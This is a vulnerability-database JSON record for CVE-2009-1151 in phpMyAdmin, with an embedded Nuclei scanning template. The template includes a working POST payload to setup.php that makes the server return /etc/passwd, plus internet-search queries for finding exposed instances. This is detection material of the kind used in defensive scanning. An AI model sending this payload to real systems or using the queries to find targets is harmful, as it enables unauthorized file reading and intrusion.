{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2009-1151/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2009-1151/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2009-1151/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2009-1151/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2009-1151/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2009-1151"},"sightings":{"href":"/api/v1/sightings/cve-2009-1151"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2009/CVE-2009-1151.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2009-1151\n\ninfo:\n  name: PhpMyAdmin Scripts - Remote Code Execution\n  author: princechaddha\n  severity: high\n  description: PhpMyAdmin Scripts 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 are susceptible to a remote code execution in setup.php that allows remote attackers to inject arbitrary PHP code into a configuration file via the save action. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.\n  remediation: |\n    Update PhpMyAdmin to the latest version or apply the necessary patches.\n  reference:\n    - https://www.phpmyadmin.net/security/PMASA-2009-3/\n    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433\n    - http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin/branches/MAINT_2_11_9/phpMyAdmin/scripts/setup.php?r1=11514&r2=12301&pathrev=12301\n    - http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2009-1151\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2009-1151\n    cwe-id: CWE-94\n    epss-score: 0.96565\n    epss-percentile: 0.99881\n    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: phpmyadmin\n    product: phpmyadmin\n    shodan-query:\n      - http.title:\"phpmyadmin\"\n      - http.component:\"phpmyadmin\"\n      - cpe:\"cpe:2.3:a:phpmyadmin:phpmyadmin\"\n    fofa-query:\n      - title=\"phpmyadmin\"\n      - body=\"pma_servername\" && body=\"4.8.4\"\n    google-query: intitle:\"phpmyadmin\"\n    hunter-query: app.name=\"phpmyadmin\"&&web.body=\"pma_servername\"&&web.body=\"4.8.4\"\n  tags: cve,cve2009,deserialization,kev,vulhub,phpmyadmin,rce,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /scripts/setup.php HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Encoding: gzip, deflate\n        Accept: */*\n        Content-Type: application/x-www-form-urlencoded\n\n        action=test&configuration=O:10:\"PMA_Config\":1:{s:6:\"source\",s:11:\"/etc/passwd\";}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100dfc00396a1c3f01deea06507cef2ab9872880dfe9f94e1ea9b4b44278e0b338e022100aa21c5d2b7c6fd06e7e2e1795abbd719d48f6ae02b22635d04a46fa00724f146:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2009-1151"}